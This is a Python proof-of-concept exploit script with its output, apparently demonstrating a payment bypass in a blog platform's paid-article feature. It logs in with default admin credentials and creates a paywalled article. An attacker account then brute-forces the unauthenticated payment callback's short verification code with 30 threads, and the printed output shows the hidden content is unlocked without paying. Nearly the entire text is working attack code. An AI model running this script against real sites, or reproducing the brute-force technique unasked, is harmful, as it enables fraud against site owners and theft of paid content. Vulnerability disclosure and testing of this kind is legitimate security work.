admin = httpx.Client(base_url=BASE, timeout=20)
admin.post('/api/admin/login', data={'username': 'admin', 'password': 'admin'})
admin.post('/user/api/saveUserInfo', json={'userId': 1, 'userName': '管理员',
'payCode': {'email': 'admin@paicoding.example'}})
slug = 'paidemail%d' % int(time.time())
r = admin.post('/article/api/post', json={
'articleType': 'BLOG', 'source': 2, 'title': 'paid-email-demo', 'urlSlug': slug,
'content': '<p>' + 'C' * 600 + SECRET + '</p>', 'categoryId': 1, 'readType': 4,
'payWay': 'email', 'payAmount': 1, 'actionType': 'post', 'tagIds': [1], 'summary': 'p'})
aid = r.json()['result']['articleId']
print('[victim] paid article id=%s slug=%s payWay=email' % (aid, slug))
att = httpx.Client(base_url=BASE, timeout=20)
att.post('/login/register', data={'username': 'payleech', 'password': 'Pay@12345',
'starNumber': '01040', 'displayName': 'payleech'})
att.post('/login/username', data={'username': 'payleech', 'password': 'Pay@12345'})
pay = att.get('/article/api/pay/toPay', params={'articleId': aid}).json()['result']
pay_id = pay['payId']
print('[attacker] toPay -> payId=%s payStatus=%s payWay=%s' % (pay_id, pay['payStatus'], pay['payWay']))
def probe(n):
code = 'EM%06d-%s' % (n, pay_id)
rr = httpx.get(BASE + '/article/api/pay/callback',
params={'verifyCode': code, 'payId': pay_id, 'succeed': 'true'}, timeout=5)
if rr.status_code == 200 and rr.json().get('result') is True:
return code
return None
found = None
with concurrent.futures.ThreadPoolExecutor(max_workers=30) as ex:
for res in ex.map(probe, range(0, 2000)):
if res:
found = res
break
print('[attacker] matched verifyCode=%s' % found)
anon = httpx.Client(base_url=BASE, timeout=20)
print('[anonymous] page contains secret before: %s' % (SECRET in anon.get('/' + slug).text))
print('[attacker] page contains secret now: %s' % (SECRET in att.get('/' + slug).text))
The output is:
[victim] paid article id=2631610238296065 slug=paidemail1794451364 payWay=email
[attacker] toPay -> payId=2631610238296066 payStatus=0 payWay=email
[attacker] matched verifyCode=EM000012-2631610238296066
[anonymous] page contains secret before: False
[attacker] page contains secret now: True